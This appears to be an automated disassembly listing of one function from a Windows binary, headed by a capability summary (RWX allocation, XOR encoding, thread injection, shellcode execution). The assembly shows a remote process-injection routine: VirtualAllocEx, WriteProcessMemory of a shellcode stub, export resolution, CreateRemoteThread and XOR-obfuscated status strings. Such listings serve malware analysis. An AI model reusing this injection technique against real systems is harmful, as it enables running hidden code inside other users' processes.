Function at 0x45bcb0
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xe8
mov eax, dword [0x47b040]
xor eax, esp
mov dword [esp + 0xe4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push edi
push 0x40
push 0x3000
mov dword [esp + 0x34], eax
mov edi, ecx
push 0x10
mov eax, 0x45d1d0
mov dword [esp + 0x3c], edx
push 0
sub eax, 0x45ce90
mov dword [esp + 0xa4], edi
push edi
mov dword [esp + 0x24], 0xccccb860
mov dword [esp + 0x28], 0xccbacccc
mov dword [esp + 0x2c], 0x52cccccc
mov dword [esp + 0x30], 0xc361d0ff
mov dword [esp + 0x48], eax
call esi
push 0x40
push 0x3000
push dword [esp + 0x3c]
mov dword [esp + 0x48], eax
push 0
push edi
call esi
push 4
push 0x3000
push 0x24
push 0
push edi
mov dword [esp + 0x4c], eax
call esi
push 0x40
push 0x3000
push dword [esp + 0x34]
mov dword [esp + 0x18], eax
push 0
push edi
call esi
mov edx, dword [ebp + 0xc]
mov esi, eax
mov eax, dword [esp + 0x30]
xorps xmm0, xmm0
mov dword [esp + 0x28], esi
movaps xmmword [esp + 0xb0], xmm0
movaps xmmword [esp + 0xc0], xmm0
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov dword [esp + 0xd0], 0
test edx, edx
je 0x45bd99
mov dword [esp + 0xb4], edx
jmp 0x45bda3
mov eax, dword [ecx + 0x50]
mov dword [esp + 0xb4], eax
mov dword [esp + 0xb0], esi
mov eax, dword [ecx + 0x28]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.ntdll.dll
mov dword [esp + 0xd4], eax
mov byte [esp + 0xd0], 0
call esi
test eax, eax
je 0x45c0f0
push str.kernel32.dll
call esi
mov dword [esp + 0x8c], eax
test eax, eax
je 0x45c0f0
push 3
push 0x53db50
lea ecx, [esp + 0xec]
call fcn.0045d280
lea ecx, [esp + 0xe4]
call fcn.0045d2d0
lea ecx, [esp + 0xe4]
mov esi, eax
call fcn.0045d2b0
mov dword [esp + 0x90], eax
cmp esi, eax
je 0x45beb1
mov edi, esi
mov esi, dword [edi]
call fcn.0045bc30
push esi
push eax
call fcn.0045d2e0
add esp, 8
cmp dword [0x53db50], eax
jne 0x45be4e
push 0
lea ecx, [esp + 0x9c]
call fcn.0045d1e0
jmp 0x45be61
push 1
mov edx, eax
lea ecx, [esp + 0xa4]
call fcn.0045bbb0
add esp, 4
push dword [eax + 4]
push dword [eax]
lea eax, [esp + 0xb0]
push 0x53dc78
push eax
call fcn.0045d2f0
push dword [eax + 4]
push dword [eax]
call fcn.0045d370
add esp, 0x18
push eax
push dword [esp + 0x90]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add edi, 4
mov dword [esp + esi*4 + 0xb8], eax
cmp edi, dword [esp + 0x90]
jne 0x45be25
mov edi, dword [esp + 0x94]
push 4
push 0x3000
push 0x10
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x45c0f0
movups xmm0, xmmword [esp + 0x10]
mov edx, dword [esp + 0x30]
mov eax, dword [esp + 0x38]
push 0
push dword [esp + 0x30]
movups xmmword [esi], xmm0
push edx
push dword [esp + 0x34]
mov dword [esi + 2], eax
mov eax, dword [esp + 0x1c]
push edi
mov dword [esi + 7], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45bf28
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0
push str._E__NTStatus_returned_0x_x_____i__n
call fcn.00404fa0
add esp, 0xc
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0xe4]
xor ecx, esp
call fcn.00461666
mov esp, ebp
pop ebp
ret
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x24
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c106
movups xmm0, xmmword [0x474bac]
mov eax, dword [0x474bdc]
xor edx, edx
cmp dword [0x53d9f0], 2
movups xmmword [esp + 0x40], xmm0
mov dword [esp + 0x70], eax
movups xmm0, xmmword [0x474bbc]
mov ax, word [0x474be0]
mov word [esp + 0x74], ax
mov al, byte [0x474be2]
movups xmmword [esp + 0x50], xmm0
mov byte [esp + 0x76], al
movups xmm0, xmmword [0x474bcc]
mov dword [esp + 0xc], edx
movups xmmword [esp + 0x60], xmm0
jl 0x45c0b4
movaps xmm0, xmmword [0x4751d0]
movaps xmm4, xmmword [0x4750c0]
movaps xmm3, xmmword [0x4751b0]
movaps xmm5, xmmword [0x475100]
movaps xmm6, xmmword [0x475170]
movaps xmmword [esp + 0x10], xmm0
mov ecx, dword [esp + 0x10]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x40]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x40], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x44]
xorps xmm2, xmm0
movd dword [esp + edx + 0x44], xmm2
add edx, 8
cmp edx, 0x30
jl 0x45bfd2
mov dword [esp + 0xc], edx
cmp edx, 0x37
jge 0x45c0e3
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0xc], edx
cmp edx, 0x37
jl 0x45c0b4
lea eax, [esp + 0x40]
push eax
call fcn.00404fa0
add esp, 4
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0xe4]
xor ecx, esp
call fcn.00461666
mov esp, ebp
pop ebp
ret
push 0
push dword [esp + 0x38]
push 0x45ce90
push dword [esp + 0x44]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c2c4
movups xmm0, xmmword [0x474be4]
mov eax, dword [0x474c14]
xor edx, edx
cmp dword [0x53d9f0], 2
movups xmmword [esp + 0x40], xmm0
mov dword [esp + 0x70], eax
movups xmm0, xmmword [0x474bf4]
mov ax, word [0x474c18]
mov word [esp + 0x74], ax
mov al, byte [0x474c1a]
movups xmmword [esp + 0x50], xmm0
mov byte [esp + 0x76], al
movups xmm0, xmmword [0x474c04]
mov dword [esp + 0xc], edx
movups xmmword [esp + 0x60], xmm0
jl 0x45c290
movaps xmm0, xmmword [0x4751d0]
movaps xmm4, xmmword [0x4750c0]
movaps xmm3, xmmword [0x4751b0]
movaps xmm5, xmmword [0x475100]
movaps xmm6, xmmword [0x475170]
movaps xmmword [esp + 0x10], xmm0
mov ecx, dword [esp + 0x10]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x40]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x40], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x44]
xorps xmm2, xmm0
movd dword [esp + edx + 0x44], xmm2
add edx, 8
cmp edx, 0x30
jl 0x45c1a4
mov dword [esp + 0xc], edx
cmp edx, 0x37
jge 0x45c0e3
nop word [eax + eax]
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0xc], edx
cmp edx, 0x37
jl 0x45c290
jmp 0x45c0e3
push 0
push 0x10
push esi
push dword [esp + 0x48]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x45c46b
movups xmm0, xmmword [0x474b74]
mov eax, dword [0x474ba4]
xor edx, edx
cmp dword [0x53d9f0], 2
movups xmmword [esp + 0x40], xmm0
mov dword [esp + 0x70], eax
movups xmm0, xmmword [0x474b84]
mov al, byte [0x474ba8]
mov byte [esp + 0x74], al
movups xmmword [esp + 0x50], xmm0
mov dword [esp + 0xc], edx
movups xmm0, xmmword [0x474b94]
movups xmmword [esp + 0x60], xmm0
jl 0x45c433
movaps xmm0, xmmword [0x4751d0]
movaps xmm4, xmmword [0x4750c0]
movaps xmm3, xmmword [0x4751b0]
movaps xmm5, xmmword [0x475100]
movaps xmm6, xmmword [0x475170]
movaps xmmword [esp + 0x10], xmm0
mov ecx, dword [esp + 0x10]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x40]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [esp + edx + 0x40], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [esp + edx + 0x44]
xorps xmm2, xmm0
movd dword [esp + edx + 0x44], xmm2
add edx, 8
cmp edx, 0x30
jl 0x45c351
mov dword [esp + 0xc], edx
cmp edx, 0x35
jge 0x45c462
mov eax, 0x94f2095
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0xc]
movsx eax, al
mov cl, dl
imul eax, eax, 0x37
sub cl, al
add cl, 0x33
xor byte [esp + edx + 0x40], cl
inc edx
mov dword [esp + 0xc], edx
cmp edx, 0x35
jl 0x45c433
lea eax, [esp + 0x40]
jmp 0x45c0e7
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x10000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0
push 0
push 0
push dword [esp + 0x48]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, eax
mov dword [esp + 0x28], ecx
test ecx, ecx
je 0x45c0f0
xor esi, esi
cmp byte [esp + 0xcc], 0
jne 0x45c50e
mov eax, esi
inc esi
cmp eax, 0xa
jge 0x45c50a
push 0
push 0x24
lea eax, [esp + 0xb8]
push eax
push dword [esp + 0x18]
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [esp + 0xcc], 0
mov ecx, str.waiting_..
mov eax, str.executed__
cmove eax, ecx
push eax
push str.___DLL_Execute_Status_:__s_n
call fcn.00404fa0
add esp, 8
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esp + 0xcc], 0
je 0x45c4b3
mov ecx, dword [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0xec]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.00461666
mov esp, ebp
pop ebp
ret